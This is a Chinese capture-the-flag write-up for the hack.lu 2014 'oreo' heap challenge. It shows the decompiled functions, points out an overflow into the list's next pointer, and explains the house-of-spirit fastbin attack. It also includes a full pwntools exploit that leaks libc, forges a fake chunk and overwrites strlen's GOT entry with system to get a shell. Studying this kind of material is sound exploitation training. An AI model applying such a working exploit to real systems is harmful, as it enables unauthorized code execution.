本文最后更新于:2024年5月24日 上午
本题出自2014 hack.lu。基于GLIBC 2.23-0ubuntu11.3。
checksec
1 2 3 4 5 Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
主逻辑函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 unsigned int run () { unsigned int v1; v1 = __readgsdword(0x14 u); puts ("What would you like to do?\n" ); printf ("%u. Add new rifle\n" , 1 ); printf ("%u. Show added rifles\n" , 2 ); printf ("%u. Order selected rifles\n" , 3 ); printf ("%u. Leave a Message with your Order\n" , 4 ); printf ("%u. Show current stats\n" , 5 ); printf ("%u. Exit!\n" , 6 ); while ( 1 ) { switch ( read_num() ) { case 1 : add(); break ; case 2 : show_rifles(); break ; case 3 : order(); break ; case 4 : message(); break ; case 5 : show_stats(); break ; case 6 : return __readgsdword(0x14 u) ^ v1; default : continue ; } } }
经过一定的分析,可以很简单地发现某个指针_DOWRD大小数据是一个结构体,简单分析后发现
1 2 3 4 5 6 struct rifle { char descript[25 ]; char name[27 ]; rifle *next; };
大概是这样的。
(我去我才发现idapro7.7可以自己对这个部分进行分析,idafree8.3没有,离谱好吧,并且函数名和结构体变量名都给标出来了,我也不知道是不是idafree为了减轻远端服务器压力而刻意不去分析或者不去找到,算了差不多,就这样吧)
1、add
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 void add () { rifle *v1; v1 = head; head = (rifle *)malloc (56u ); if ( head ) { head->next = v1; printf ("Rifle name: " ); fgets(head->name, 56 , stdin ); cut_enter(head->name); printf ("Rifle description: " ); fgets(head->descript, 0x38 , stdin ); cut_enter(head->descript); ++rifle_cnt; } else { puts ("Something terrible happened!" ); } }
分析add函数,发现在输入时没有严格控制输入大小,都可以对不同的区域进行输入,并且都可以溢出到nexttr部分。add没有对malloc多少次做限制,也就是一直malloc可以到很高的地址直到把mmap占满。
2、show
1 2 3 4 5 6 7 8 9 10 11 12 void show_rifles () { rifle *i; printf ("Rifle to be ordered:\n%s\n" , "===================================" ); for ( i = head; i; i = i->next ) { printf ("Name: %s\n" , i->name); printf ("Description: %s\n" , i->descript); puts ("===================================" ); } }
可以看到这里chunk结构体通过malloc_p成为了一个链表结构,show函数从这个链表头部开始通过malloc_p来逐个输出内容,但是由于前面add的未严格控制输入,那么就可以造成类似的任意读,那么就可以通过这个函数来泄露地址等操作。
3、free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 void order () { rifle *v1; rifle *ptr; v1 = head; if ( rifle_cnt ) { while ( v1 ) { ptr = v1; v1 = v1->next; free (ptr); } head = 0 ; ++order_num; puts ("Okay order submitted!" ); } else { puts ("No rifles to be ordered!" ); } }
全给清空了,有点狠,并且置空了,不能自由free而是整个链表都被free。
4、edit
1 2 3 4 5 6 void __cdecl message () { printf ("Enter any notice you'd like to submit with your order: " ); fgets(notice, 128 , stdin ); cut_enter(notice); }
对某个字符串进行输入感觉没什么特殊的地方。
前文提到add没有限制,并且edit函数可以修改notice指针指向的位置,那么notice指针其实就类似于chunk->next
,那么我们就可以在bss段伪造一个fake chunk,并且指向位置任意,通过edit进行一次fastbin attack,将notice开始部分的next指向hook的位置就可以了,例如说__malloc_hook。
根据前文的分析:
show函数的任意读可以帮助我们泄露出libc_base,那么首先头部add一个,让next指向任意一个got表函数地址,然后通过show输出就可以得到libc_base了;
这时的目的是延长到notice的位置,然后通过修改notice->next指向某一个可以控制的函数即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import * context.log_level = 'debug' io = process('./oreo' ) elf = ELF('./oreo' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' )def duan (): gdb.attach(io) pause()def add (s1, s2 ): io.sendline(b'1' ) io.sendline(s2) io.sendline(s1)def show (): io.sendline(b'2' )def free (): io.sendline(b'3' )def edit (s ): io.sendline(b'4' ) io.sendline(s)def main (): add(b'a' *27 +p32(elf.got.puts), b'a' *25 ) show() io.recvuntil(b'Description: ' ) io.recvuntil(b'Description: ' ) puts = u32(io.recvuntil(b'\n' , drop=True )[:4 ]) log.success(hex (puts)) base = puts - libc.sym.puts log.success(hex (base)) sys = base + libc.sym.system bsh = base + libc.search(b'/bin/sh' ).__next__() for _ in range (0x3f ): add(b'a' *27 +p32(0 ),b'a' *25 ) add(b'a' *27 +p32(0x804a2a8 ), b'a' *25 ) edit(b'\x00' *0x20 +p32(0x40 )+p32(0x50 )) free() add(b'a' *20 , p32(elf.got.strlen).ljust(20 , b'a' )) edit(p32(sys)+b";/bin/sh\x00" ) main() io.interactive()
总结 house of spirit是一种fastbin attack,利用free将伪造的fake chunk释放,fake chunk的地址会被放在fastbin链中,实现对任意地址写。
影响版本:2.23至今,所有含有fastbin的版本。
fake chunk有如下检查:
ISMMAP!=1、fake chunk应该满足fastbin的格式(自身size、next的大小,大于2*SIZE_SZ,小于av->system_mem)、fastbin表头不能是fake chunk。